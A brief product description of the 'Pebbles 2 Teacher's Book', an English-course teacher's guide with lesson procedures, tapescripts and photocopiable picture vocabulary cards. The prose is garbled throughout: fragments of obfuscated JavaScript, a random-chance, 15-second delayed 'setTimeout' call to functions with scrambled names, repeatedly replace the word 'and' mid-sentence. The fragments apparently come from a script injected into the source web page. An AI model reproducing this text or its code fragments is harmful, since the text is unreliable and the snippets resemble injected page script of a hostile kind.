Pebbles 2 Teacher’s Book

Fully interleaved with material from the Class Book, which provides a breakdown of the main communicative aim(s) for each unit as well as the aims andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the materials needed in each lesson. There are clear step-by-step lesson procedures, answers, tapecripts, suggested teacher language, background information, suggestions for optional review lessons andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Ideas store with extra activities. There is also material which can be photocopied andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and used in class, including a full set of picture vocabulary cards (pages 154-160). Ideas for using the picture vocabulary cards are given in the lesson notes, as well as in the Ideas store section on pages 132-140.